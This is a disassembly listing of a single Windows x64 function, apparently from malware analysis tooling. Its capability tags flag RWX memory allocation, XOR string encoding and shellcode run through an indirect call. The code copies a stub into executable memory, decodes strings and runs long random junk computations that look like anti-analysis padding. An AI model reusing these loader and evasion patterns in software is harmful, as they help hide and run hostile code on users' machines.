Function at 0x14000b310
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Generate random numbers using a mersenne twister

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 8], rcx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x4200]
mov eax, 0x4300
call fcn.14002cbd0
sub rsp, rax
movaps xmmword [rsp + 0x42f0], xmm6
movaps xmmword [rsp + 0x42e0], xmm7
movaps xmmword [rsp + 0x42d0], xmm8
movaps xmmword [rsp + 0x42c0], xmm9
movaps xmmword [rsp + 0x42b0], xmm10
movaps xmmword [rsp + 0x42a0], xmm11
movaps xmmword [rsp + 0x4290], xmm12
movaps xmmword [rsp + 0x4280], xmm13
movaps xmmword [rsp + 0x4270], xmm14
movaps xmmword [rsp + 0x4260], xmm15
mov rax, qword [0x140038040]
xor rax, rsp
mov qword [rbp + 0x4150], rax
mov qword [rsp + 0x70], rdx
mov qword [rbp + 0x10], rcx
mov qword [rbp], rcx
xor r12d, r12d
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov edx, eax
lea rcx, [rbp + 0x2bb0]
call fcn.14001fac0
mov dword [rbp + 0x200], 0x3e7
mov dword [rbp + 0x204], 0xf423f
lea rdx, [rbp + 0x2bb0]
lea rcx, [rbp + 0x200]
call fcn.1400210b0
mov ebx, eax
lea rcx, [rbp + 0x3a0]
call fcn.14000dfd0
lea rcx, [rbp + 0x3a0]
call fcn.14001f120
nop
mov edx, ebx
lea rcx, [rbp + 0x3a0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___int____ptr64]
movsd xmm0, qword [str.5kR]
movsd qword [rsp + 0x50], xmm0
movzx ecx, word [0x14002fcb8]
mov edx, 0x2e
mov word [rsp + 0x50], dx
xor word [rsp + 0x52], 0x1d
xor word [rsp + 0x54], 0x1f
xor word [rsp + 0x56], 0x21
xor cx, 0x23
mov word [rsp + 0x58], cx
lea rdx, [rsp + 0x50]
mov rcx, rax
call fcn.140021760
lea rdx, [rbp + 0x260]
lea rcx, [rbp + 0x3a0]
call fcn.14001f040
nop
mov dword [rbp - 0x80], 0x104
lea rcx, [rbp + 0x248]
call fcn.1400025b0
lea rdx, [rbp + 0x4238]
lea rcx, [rbp + 0x248]
call fcn.1400025c0
nop
mov ecx, r12d
lea rdi, [0x140021940]
lea rbx, [0x140000000]
mov rax, qword [0x14003b650]
test rax, rax
je 0x14000b4e0
cmp rax, rdi
je 0x14000b4cd
inc ecx
mov rax, qword [rbx + rcx*8 + 0x3b650]
test rax, rax
jne 0x14000b4b7
jmp 0x14000b4e0
mov eax, ecx
mov r9, qword [rbx + rax*8 + 0x3c310]
test r9, r9
jne 0x14000b5cf
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r9, rax
test rax, rax
jne 0x14000b509
mov r9, r12
jmp 0x14000b5ae
mov rax, rdi
mov rcx, r9
mov edx, 3
nop dword [rax]
nop dword [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x14000b520
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14003c2f0]
mov qword [rbx + rax*8 + 0x3b650], rdi
mov qword [rbx + rax*8 + 0x3c310], r9
inc rax
mov qword [0x14003c2f0], rax
lea r8, [rbp + 0x3f40]
lea rdx, [rbp - 0x80]
mov rcx, qword [sym.imp.KERNEL32.dll_GetTempPathW]
call r9
nop
mov rcx, qword [rbp + 0x248]
xor rcx, qword [rbp + 0x250]
mov qword [rbp + 0x248], rcx
mov rax, qword [rbp + 0x258]
mov qword [rax], rcx
lea rdx, [rbp + 0x3f40]
lea rcx, [rbp + 0x120]
call fcn.14001fee0
nop
lea r8, [rbp + 0x260]
mov rdx, rax
lea rcx, [rbp + 0x1d8]
call fcn.140021980
nop
lea rcx, [rbp + 0x120]
call fcn.140002760
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov dword [rbp + 0x1814], 0xffffffff
mov dword [rbp + 0x494], eax
mov r13d, 1
mov edx, r13d
nop word [rax + rax]
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul eax, ecx, 0x6c078965
add eax, edx
mov dword [rbp + rdx*4 + 0x494], eax
inc rdx
cmp rdx, 0x270
jb 0x14000b660
mov dword [rbp + 0x490], 0x270
mov dword [rbp + 0x160], 0xffffff9c
mov dword [rbp + 0x164], 0x64
mov dword [rsp + 0x34], r12d
xorps xmm8, xmm8
movsd qword [rbp + 0x140], xmm8
lea rcx, [rbp + 0x40]
call fcn.140001680
mov rbx, qword [rbp + 0x40]
add rbx, 0x5f5e100
mov qword [rbp + 0x1b0], rbx
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x168], xmm1
mov qword [rbp + 0x178], r12
mov ecx, 8
call fcn.14002bc68
lea r15, vtable.AddOperation.0
mov qword [rax], r15
mov qword [rbp + 0x70], r12
mov qword [rbp - 0x70], rax
mov rdx, qword [rbp + 0x170]
cmp rdx, qword [rbp + 0x178]
je 0x14000b71f
mov rcx, r12
mov qword [rbp - 0x70], rcx
mov qword [rdx], rax
add qword [rbp + 0x170], 8
jmp 0x14000b733
lea r8, [rbp - 0x70]
lea rcx, [rbp + 0x168]
call fcn.1400233c0
mov rcx, qword [rbp - 0x70]
test rcx, rcx
je 0x14000b741
mov rax, qword [rcx]
mov edx, r13d
call qword [rax]
nop
mov ecx, 8
call fcn.14002bc68
lea r14, vtable.MultiplyOperation.0
mov qword [rax], r14
mov qword [rbp + 0x80], r12
mov qword [rbp - 0x68], rax
mov rdx, qword [rbp + 0x170]
cmp rdx, qword [rbp + 0x178]
je 0x14000b784
mov rcx, r12
mov qword [rbp - 0x68], rcx
mov qword [rdx], rax
add qword [rbp + 0x170], 8
jmp 0x14000b798
lea r8, [rbp - 0x68]
lea rcx, [rbp + 0x168]
call fcn.1400233c0
mov rcx, qword [rbp - 0x68]
test rcx, rcx
je 0x14000b7a6
mov rax, qword [rcx]
mov edx, r13d
call qword [rax]
nop
mov ecx, 8
call fcn.14002bc68
lea r14, vtable.SubtractOperation.0
mov qword [rax], r14
mov qword [rbp + 0x88], r12
mov qword [rbp - 0x60], rax
mov rdx, qword [rbp + 0x170]
cmp rdx, qword [rbp + 0x178]
je 0x14000b7e9
mov rcx, r12
mov qword [rbp - 0x60], rcx
mov qword [rdx], rax
add qword [rbp + 0x170], 8
jmp 0x14000b7fd
lea r8, [rbp - 0x60]
lea rcx, [rbp + 0x168]
call fcn.1400233c0
mov rcx, qword [rbp - 0x60]
test rcx, rcx
je 0x14000b80b
mov rax, qword [rcx]
mov edx, r13d
call qword [rax]
nop
mov ecx, 8
call fcn.14002bc68
lea r14, vtable.DivideOperation.0
mov qword [rax], r14
mov qword [rbp + 0x90], r12
mov qword [rbp - 0x58], rax
mov rdx, qword [rbp + 0x170]
cmp rdx, qword [rbp + 0x178]
je 0x14000b84e
mov rcx, r12
mov qword [rbp - 0x58], rcx
mov qword [rdx], rax
add qword [rbp + 0x170], 8
jmp 0x14000b862
lea r8, [rbp - 0x58]
lea rcx, [rbp + 0x168]
call fcn.1400233c0
mov rcx, qword [rbp - 0x58]
test rcx, rcx
je 0x14000b870
mov rax, qword [rcx]
mov edx, r13d
call qword [rax]
nop
mov ecx, 8
call fcn.14002bc68
lea r14, vtable.ModulusOperation.0
mov qword [rax], r14
mov qword [rbp + 0x48], r12
mov qword [rbp - 0x50], rax
mov rdx, qword [rbp + 0x170]
cmp rdx, qword [rbp + 0x178]
je 0x14000b8ad
mov qword [rbp - 0x50], r12
mov qword [rdx], rax
add qword [rbp + 0x170], 8
jmp 0x14000b8be
lea r8, [rbp - 0x50]
lea rcx, [rbp + 0x168]
call fcn.1400233c0
nop
lea rcx, [rbp - 0x50]
call fcn.14001f980
nop
lea rcx, [rbp + 0x48]
call fcn.14001f980
lea rcx, [rbp + 0x50]
call fcn.140021290
nop
mov rcx, qword [rax]
mov qword [rax], r12
mov qword [rbp - 0x10], rcx
lea rdx, [rbp - 0x10]
lea rcx, [rbp + 0x168]
call fcn.14001f9c0
nop
lea rcx, [rbp - 0x10]
call fcn.14001f980
nop
mov rcx, qword [rbp + 0x50]
test rcx, rcx
je 0x14000b911
mov rax, qword [rcx]
mov edx, r13d
call qword [rax]
movsd xmm10, qword [0x1400306f0]
movsd xmm9, qword [0x140030710]
movsd xmm14, qword [0x140030708]
movsd xmm13, qword [0x140030700]
movsd xmm15, qword [0x1400306f8]
movsd xmm6, qword [0x1400307c0]
movabs r14, 0xb2f4fc0794908cf3
call qword [sym.imp.MSVCP140.dll__Query_perf_frequency]
mov rdi, rax
call qword [sym.imp.MSVCP140.dll__Query_perf_counter]
mov rcx, rax
cmp rdi, 0x989680
jne 0x14000b971
imul rax, rcx, 0x64
jmp 0x14000b9e0
cmp rdi, 0x16e3600
jne 0x14000b9c5
mov rax, r14
imul rcx
add rdx, rcx
sar rdx, 0x18
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul r8, rdx, 0x3b9aca00
imul rax, rdx, 0x16e3600
sub rcx, rax
imul rcx, rcx, 0x3b9aca00
mov rax, r14
imul rcx
add rdx, rcx
sar rdx, 0x18
mov rax, rdx
shr rax, 0x3f
add rax, rdx
add rax, r8
jmp 0x14000b9e0
cqo
idiv rdi
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rdi
add rax, rcx
cmp rax, rbx
jge 0x14000c45b
mov dword [rsp + 0x30], r12d
nop
mov r12d, dword [rbp + 0x160]
btc r12d, 0x1f
mov dword [rsp + 0x4c], r12d
mov r13d, dword [rbp + 0x164]
btc r13d, 0x1f
sub r13d, r12d
lea rcx, [rbp + 0x490]
cmp r13d, 0xffffffff
jne 0x14000ba3c
call fcn.140024390
lea esi, [r13 + 1]
mov r14d, r12d
lea rcx, [rbp + 0x490]
call fcn.140024390
mov ecx, eax
jmp 0x14000badf
lea edi, [r13 + 1]
call fcn.140024390
mov r14d, edi
mov ecx, eax
imul rcx, r14
mov eax, edi
cmp ecx, edi
jae 0x14000ba7a
neg eax
xor edx, edx
div edi
mov esi, edx
mov eax, edi
cmp ecx, edx
jae 0x14000ba7a
lea rcx, [rbp + 0x490]
call fcn.140024390
mov ecx, eax
imul rcx, r14
cmp ecx, esi
jb 0x14000ba62
jmp 0x14000ba7c
mov edi, eax
mov r15d, r12d
lea rcx, [rbp + 0x490]
call fcn.140024390
mov edx, edi
mov qword [rsp + 0x78], rdx
mov ecx, eax
imul rcx, rdx
mov esi, edi
mov r14d, r12d
cmp ecx, edi
jae 0x14000badb
mov eax, edi
neg eax
xor edx, edx
div edi
cmp ecx, edx
jae 0x14000badb
mov ebx, edx
mov r12, qword [rsp + 0x78]
mov r14d, r15d
mov esi, edi
lea rcx, [rbp + 0x490]
call fcn.140024390
mov ecx, eax
imul rcx, r12
cmp ecx, ebx
jb 0x14000bab4
mov rbx, qword [rbp + 0x1b0]
mov r12d, dword [rsp + 0x4c]
shr rcx, 0x20
lea eax, [rcx + r14]
cdqe
xor rax, 0xffffffff80000000
mov rcx, qword [rbp + 0x170]
mov r8, qword [rbp + 0x168]
sub rcx, r8
sar rcx, 3
xor edx, edx
div rcx
movsxd rax, edx
mov r15, qword [r8 + rax*8]
mov rax, qword [r15]
mov rdi, qword [rax + 8]
mov qword [rsp + 0x68], rdi
lea rcx, [rbp + 0x490]
call fcn.140024390
cmp r13d, 0xffffffff
jne 0x14000bb2e
mov ecx, eax
jmp 0x14000bb6f
mov r14d, esi
mov ecx, eax
imul rcx, r14
cmp ecx, esi
jae 0x14000bb6b
mov eax, esi
neg eax
xor edx, edx
div esi
mov edi, edx
cmp ecx, edx
jae 0x14000bb66
nop dword [rax]
lea rcx, [rbp + 0x490]
call fcn.140024390
mov ecx, eax
imul rcx, r14
cmp ecx, edi
jb 0x14000bb50
mov rdi, qword [rsp + 0x68]
shr rcx, 0x20
lea r8d, [rcx + r12]
btc r8d, 0x1f
mov edx, dword [rsp + 0x34]
mov rcx, r15
call rdi
mov dword [rsp + 0x34], eax
movaps xmm11, xmm8
movaps xmm1, xmm10
mov edi, 2
lea rcx, [rbp + 0x490]
call fcn.140024390
mov eax, eax
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
subsd xmm0, xmm8
mulsd xmm0, xmm1
addsd xmm11, xmm0
mulsd xmm1, xmm9
sub rdi, 1
jne 0x14000bb92
divsd xmm11, xmm1
mulsd xmm11, xmm14
subsd xmm11, xmm13
movaps xmm12, xmm8
movaps xmm1, xmm10
mov edi, 2
nop dword [rax]
lea rcx, [rbp + 0x490]
call fcn.140024390
mov eax, eax
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
subsd xmm0, xmm8
mulsd xmm0, xmm1
addsd xmm12, xmm0
mulsd xmm1, xmm9
sub rdi, 1
jne 0x14000bbe0
divsd xmm12, xmm1
mulsd xmm12, xmm14
subsd xmm12, xmm13
movaps xmm0, xmm12
andps xmm0, xmm6
addsd xmm0, xmm10
call sub.api_ms_win_crt_math_l1_1_0.dll_log
movaps xmm7, xmm0
movaps xmm0, xmm11
call sub.api_ms_win_crt_math_l1_1_0.dll_cos
movaps xmm6, xmm0
movaps xmm0, xmm12
call sub.api_ms_win_crt_math_l1_1_0.dll_sin
mulsd xmm6, xmm0
addsd xmm7, xmm6
movaps xmm0, xmm11
call sub.api_ms_win_crt_math_l1_1_0.dll_exp
subsd xmm7, xmm0
addsd xmm7, qword [rbp + 0x140]
movsd qword [rbp + 0x140], xmm7
movaps xmm0, xmm8
movaps xmm2, xmm10
mov edi, 2
nop dword [rax]
lea rcx, [rbp + 0x490]
call fcn.140024390
mov eax, eax
xorps xmm1, xmm1
cvtsi2sd xmm1, rax
subsd xmm1, xmm8
mulsd xmm1, xmm2
addsd xmm0, xmm1
mulsd xmm2, xmm9
sub rdi, 1
jne 0x14000bc80
divsd xmm0, xmm2
mulsd xmm0, xmm14
subsd xmm0, xmm13
movaps xmm1, xmm15
call sub.api_ms_win_crt_math_l1_1_0.dll_pow
movsd xmm1, qword [rbp + 0x140]
subsd xmm1, xmm0
movsd qword [rbp + 0x140], xmm1
movaps xmm0, xmm8
movaps xmm2, xmm10
mov edi, 2
nop word [rax + rax]
lea rcx, [rbp + 0x490]
call fcn.140024390
mov eax, eax
xorps xmm1, xmm1
cvtsi2sd xmm1, rax
subsd xmm1, xmm8
mulsd xmm1, xmm2
addsd xmm0, xmm1
mulsd xmm2, xmm9
sub rdi, 1
jne 0x14000bcf0
divsd xmm0, xmm2
mulsd xmm0, xmm14
subsd xmm0, xmm13
call sub.api_ms_win_crt_math_l1_1_0.dll_tan
movsd xmm1, qword [rbp + 0x140]
mulsd xmm0, xmm1
movsd qword [rbp + 0x140], xmm0
xorps xmm0, xmm0
movups xmmword [rbp + 0x208], xmm0
xor r15d, r15d
mov qword [rbp + 0x218], r15
mov qword [rbp + 0x220], r15
mov r8d, 6
lea rdx, str.random
lea rcx, [rbp + 0x208]
call fcn.140022520
nop
lea rdi, [rbp + 0x208]
cmp qword [rbp + 0x220], 0xf
cmova rdi, qword [rbp + 0x208]
lea rcx, [rbp + 0x208]
cmova rcx, qword [rbp + 0x208]
mov rsi, qword [rbp + 0x218]
add rsi, rcx
cmp rdi, rsi
je 0x14000bdf7
nop
lea rcx, [rbp + 0x490]
call fcn.140024390
mov ecx, eax
imul rax, rcx, 0x1a
cmp eax, 0x15
ja 0x14000bde7
nop word [rax + rax]
lea rcx, [rbp + 0x490]
call fcn.140024390
mov ecx, eax
imul rax, rcx, 0x1a
cmp eax, 0x16
jb 0x14000bdd0
shr rax, 0x20
add al, 0x61
mov byte [rdi], al
inc rdi
cmp rdi, rsi
jne 0x14000bdb0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x180], xmm1
mov qword [rbp + 0x190], r15
mov ecx, 0x190
call fcn.14002bc68
mov qword [rbp + 0x180], rax
lea r14, [rax + 0x190]
mov qword [rbp + 0x190], r14
xor edx, edx
mov r8d, 0x190
mov rcx, rax
call sub.VCRUNTIME140.dll_memset
mov qword [rbp + 0x188], r14
mov rsi, qword [rbp + 0x180]
cmp rsi, r14
je 0x14000be7c
nop dword [rax + rax]
lea rdx, [rbp + 0x490]
lea rcx, [rbp + 0x160]
call fcn.1400210b0
mov dword [rsi], eax
add rsi, 4
cmp rsi, r14
jne 0x14000be50
mov r14, qword [rbp + 0x188]
mov rsi, qword [rbp + 0x180]
mov dword [rbp + 0x1f8], 0xffffff9c
mov dword [rbp + 0x1fc], 0x64
cmp rsi, r14
je 0x14000bed0
nop word [rax + rax]
mov edi, dword [rsi]
lea rdx, [rbp + 0x490]
lea rcx, [rbp + 0x1f8]
call fcn.1400210b0
add eax, edi
mov dword [rsi], eax
add rsi, 4
cmp rsi, r14
jne 0x14000bea0
mov r14, qword [rbp + 0x188]
mov rsi, qword [rbp + 0x180]
mov r8, r14
sub r8, rsi
sar r8, 2
xor r9d, r9d
mov rdx, r14
mov rcx, rsi
call fcn.140023dd0
mov r8d, r15d
mov rax, qword [rbp + 0x180]
mov rdx, r15
mov r9, qword [rbp + 0x188]
mov rcx, r9
sub rcx, rax
add rcx, 3
shr rcx, 2
cmp rax, r9
cmova rcx, r15
test rcx, rcx
je 0x14000bf75
cmp rcx, 8
jb 0x14000bf75
and rcx, 0xfffffffffffffff8
xorps xmm1, xmm1
xorps xmm2, xmm2
nop word [rax + rax]
movdqu xmm0, xmmword [rax]
paddd xmm1, xmm0
movdqu xmm0, xmmword [rax + 0x10]
paddd xmm0, xmm2
movdqa xmm2, xmm0
add rax, 0x20
add rdx, 8
cmp rdx, rcx
jne 0x14000bf30
paddd xmm1, xmm0
movdqa xmm0, xmm1
psrldq xmm0, 8
paddd xmm1, xmm0
movdqa xmm0, xmm1
psrldq xmm0, 4
paddd xmm1, xmm0
movd r8d, xmm1
cmp rax, r9
je 0x14000bf8c
nop word [rax + rax]
add r8d, dword [rax]
add rax, 4
cmp rax, r9
jne 0x14000bf80
mov eax, dword [rsp + 0x34]
add eax, r8d
mov dword [rsp + 0x34], eax
mov esi, dword [rbp + 0x160]
btc esi, 0x1f
mov r12d, dword [rbp + 0x164]
btc r12d, 0x1f
sub r12d, esi
lea rcx, [rbp + 0x490]
cmp r12d, 0xffffffff
jne 0x14000bfde
call fcn.140024390
lea edi, [rax + rsi]
xor edi, 0x80000000
lea rcx, [rbp + 0x490]
call fcn.140024390
mov ecx, eax
jmp 0x14000c081
inc r12d
call fcn.140024390
mov r14d, r12d
mov ecx, eax
imul rcx, r14
cmp ecx, r12d
jae 0x14000c01a
mov eax, r12d
neg eax
xor edx, edx
div r12d
mov edi, edx
cmp ecx, edx
jae 0x14000c01a
lea rcx, [rbp + 0x490]
call fcn.140024390
mov ecx, eax
imul rcx, r14
cmp ecx, edi
jb 0x14000c004
shr rcx, 0x20
lea r14d, [rcx + rsi]
xor r14d, 0x80000000
mov r15d, esi
lea rcx, [rbp + 0x490]
call fcn.140024390
mov r13d, r12d
mov ecx, eax
imul rcx, r13
mov edi, r14d
cmp ecx, r12d
jae 0x14000c07d
mov eax, r12d
neg eax
xor edx, edx
div r12d
mov r12d, edx
cmp ecx, edx
jae 0x14000c07d
nop word [rax + rax]
mov esi, r15d
mov edi, r14d
lea rcx, [rbp + 0x490]
call fcn.140024390
mov ecx, eax
imul rcx, r13
cmp ecx, r12d
jb 0x14000c060
shr rcx, 0x20
lea r8d, [rcx + rsi]
btc r8d, 0x1f
mov ecx, edi
test edi, edi
mov eax, 1
cmove ecx, eax
mov eax, r8d
sub eax, edi
cdq
idiv ecx
imul edi, r8d
add eax, edi
mov ecx, dword [rsp + 0x34]
add ecx, eax
mov dword [rsp + 0x34], ecx
mov eax, dword [rsp + 0x34]
mov r14d, dword [rbp + 0x160]
btc r14d, 0x1f
test al, 1
mov eax, dword [rbp + 0x164]
lea rcx, [rbp + 0x490]
jne 0x14000c149
btc eax, 0x1f
sub eax, r14d
cmp eax, 0xffffffff
jne 0x14000c0f4
call fcn.140024390
mov ecx, eax
add ecx, r14d
btc ecx, 0x1f
mov eax, dword [rsp + 0x34]
add eax, ecx
jmp 0x14000c1a7
lea edi, [rax + 1]
call fcn.140024390
mov esi, edi
mov ecx, eax
imul rcx, rsi
cmp ecx, edi
jae 0x14000c136
mov eax, edi
neg eax
xor edx, edx
div edi
mov edi, edx
cmp ecx, edx
jae 0x14000c136
nop word [rax + rax]
lea rcx, [rbp + 0x490]
call fcn.140024390
mov ecx, eax
imul rcx, rsi
cmp ecx, edi
jb 0x14000c120
shr rcx, 0x20
add ecx, r14d
btc ecx, 0x1f
mov eax, dword [rsp + 0x34]
add eax, ecx
jmp 0x14000c1a7
btc eax, 0x1f
sub eax, r14d
cmp eax, 0xffffffff
jne 0x14000c15e
call fcn.140024390
mov ecx, eax
jmp 0x14000c19a
lea edi, [rax + 1]
call fcn.140024390
mov esi, edi
mov ecx, eax
imul rcx, rsi
cmp ecx, edi
jae 0x14000c196
mov eax, edi
neg eax
xor edx, edx
div edi
mov edi, edx
cmp ecx, edx
jae 0x14000c196
lea rcx, [rbp + 0x490]
call fcn.140024390
mov ecx, eax
imul rcx, rsi
cmp ecx, edi
jb 0x14000c180
shr rcx, 0x20
add ecx, r14d
btc ecx, 0x1f
mov eax, dword [rsp + 0x34]
sub eax, ecx
mov dword [rsp + 0x34], eax
mov r12d, dword [rbp + 0x160]
btc r12d, 0x1f
mov r13d, 5
mov r15d, dword [rbp + 0x164]
btc r15d, 0x1f
sub r15d, r12d
nop dword [rax]
xor r14d, r14d
lea rcx, [rbp + 0x490]
cmp r15d, 0xffffffff
jne 0x14000c1e9
call fcn.140024390
mov ecx, eax
jmp 0x14000c22a
lea edi, [r15 + 1]
call fcn.140024390
mov esi, edi
mov ecx, eax
imul rcx, rsi
cmp ecx, edi
jae 0x14000c226
mov eax, edi
neg eax
xor edx, edx
div edi
mov edi, edx
cmp ecx, edx
jae 0x14000c226
nop dword [rax]
lea rcx, [rbp + 0x490]
call fcn.140024390
mov ecx, eax
imul rcx, rsi
cmp ecx, edi
jb 0x14000c210
shr rcx, 0x20
add ecx, r12d
btc ecx, 0x1f
mov eax, dword [rsp + 0x34]
add eax, ecx
mov dword [rsp + 0x34], eax
movaps xmm1, xmm8
movaps xmm2, xmm10
mov edi, 2
nop dword [rax + rax]
lea rcx, [rbp + 0x490]
call fcn.140024390
mov eax, eax
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
subsd xmm0, xmm8
mulsd xmm0, xmm2
addsd xmm1, xmm0
mulsd xmm2, xmm9
sub rdi, 1
jne 0x14000c250
divsd xmm1, xmm2
mulsd xmm1, xmm14
subsd xmm1, xmm13
addsd xmm1, qword [rbp + 0x140]
movsd qword [rbp + 0x140], xmm1
test r14b, 1
jne 0x14000c30e
lea rcx, [rbp + 0x490]
cmp r15d, 0xffffffff
jne 0x14000c2b8
call fcn.140024390
mov ecx, eax
jmp 0x14000c2fa
lea edi, [r15 + 1]
call fcn.140024390
mov esi, edi
mov ecx, eax
imul rcx, rsi
cmp ecx, edi
jae 0x14000c2f6
mov eax, edi
neg eax
xor edx, edx
div edi
mov edi, edx
cmp ecx, edx
jae 0x14000c2f6
nop dword [rax + rax]
lea rcx, [rbp + 0x490]
call fcn.140024390
mov ecx, eax
imul rcx, rsi
cmp ecx, edi
jb 0x14000c2e0
shr rcx, 0x20
add ecx, r12d
btc ecx, 0x1f
mov eax, dword [rsp + 0x34]
imul eax, ecx
mov dword [rsp + 0x34], eax
jmp 0x14000c375
movaps xmm1, xmm8
movaps xmm2, xmm10
mov edi, 2
nop dword [rax + rax]
lea rcx, [rbp + 0x490]
call fcn.140024390
mov eax, eax
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
subsd xmm0, xmm8
mulsd xmm0, xmm2
addsd xmm1, xmm0
mulsd xmm2, xmm9
sub rdi, 1
jne 0x14000c320
divsd xmm1, xmm2
mulsd xmm1, xmm14
subsd xmm1, xmm13
movsd xmm0, qword [rbp + 0x140]
addsd xmm1, xmm10
divsd xmm0, xmm1
movsd qword [rbp + 0x140], xmm0
inc r14d
cmp r14d, 5
jl 0x14000c1d3
sub r13, 1
jne 0x14000c1d0
mov rcx, qword [rbp + 0x180]
test rcx, rcx
je 0x14000c3eb
mov rax, qword [rbp + 0x190]
sub rax, rcx
sar rax, 2
lea rdx, [rax*4]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000c3cf
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000c44d
call fcn.14002bc60
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x180], xmm0
xor r12d, r12d
mov qword [rbp + 0x190], r12
jmp 0x14000c3ee
xor r12d, r12d
mov rdx, qword [rbp + 0x220]
cmp rdx, 0xf
jbe 0x14000c42b
inc rdx
mov rcx, qword [rbp + 0x208]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000c426
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000c454
call fcn.14002bc60
mov eax, dword [rsp + 0x30]
inc eax
mov dword [rsp + 0x30], eax
cmp eax, 0x186a0
movsd xmm6, qword [0x1400307c0]
jl 0x14000b9f0
jmp 0x14000b93e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov eax, dword [rsp + 0x34]
mov rbx, qword [rbp + 0x168]
mov r13d, 1
test rbx, rbx
je 0x14000c4f9
mov rdi, qword [rbp + 0x170]
cmp rbx, rdi
je 0x14000c4a1
mov rcx, qword [rbx]
test rcx, rcx
je 0x14000c491
mov rax, qword [rcx]
mov edx, r13d
call qword [rax]
add rbx, 8
cmp rbx, rdi
jne 0x14000c481
mov rbx, qword [rbp + 0x168]
mov rax, qword [rbp + 0x178]
sub rax, rbx
sar rax, 3
lea rdx, [rax*8]
mov rax, rbx
cmp rdx, 0x1000
jb 0x14000c4df
add rdx, 0x27
mov rbx, qword [rbx - 8]
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000c4df
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, rbx
call fcn.14002bc60
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x168], xmm0
mov qword [rbp + 0x178], r12
lea rcx, [rbp + 0x290]
call fcn.14000e050
lea rdx, [rbp + 0x1d8]
lea rcx, [rbp + 0x290]
call fcn.14001e8f0
nop
cmp qword [rbp + 0x318], 0
je 0x14000dec0
lea rcx, [rbp + 0x1b8]
call fcn.140020020
nop
mov rcx, qword [rsp + 0x70]
call fcn.14001fe30
mov rdi, rax
call fcn.14001fe50
mov rbx, rax
cmp rax, rdi
je 0x14000c619
mov esi, 0x22
nop word [rax + rax]
movzx r9d, word [rbx]
cmp r9w, si
je 0x14000c5b6
mov rcx, qword [rbp + 0x1c8]
mov rdx, qword [rbp + 0x1d0]
cmp rcx, rdx
jae 0x14000c5a8
lea rax, [rcx + 1]
mov qword [rbp + 0x1c8], rax
lea rax, [rbp + 0x1b8]
cmp rdx, 7
cmova rax, qword [rbp + 0x1b8]
mov word [rax + rcx*2], r9w
mov word [rax + rcx*2 + 2], r12w
jmp 0x14000c60c
lea rcx, [rbp + 0x1b8]
call fcn.140021d80
jmp 0x14000c60c
mov eax, dword [0x1400300d8]
mov dword [rsp + 0x44], eax
movzx eax, word [0x1400300dc]
mov word [rsp + 0x44], si
xor word [rsp + 0x46], 0x1d
xor ax, 0x1f
mov word [rsp + 0x48], ax
lea rax, [rsp + 0x44]
mov r8, 0xffffffffffffffff
nop word [rax + rax]
inc r8
cmp word [rax + r8*2], 0
jne 0x14000c5f0
lea rdx, [rsp + 0x44]
lea rcx, [rbp + 0x1b8]
call fcn.14001fe60
add rbx, 2
cmp rbx, rdi
jne 0x14000c560
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
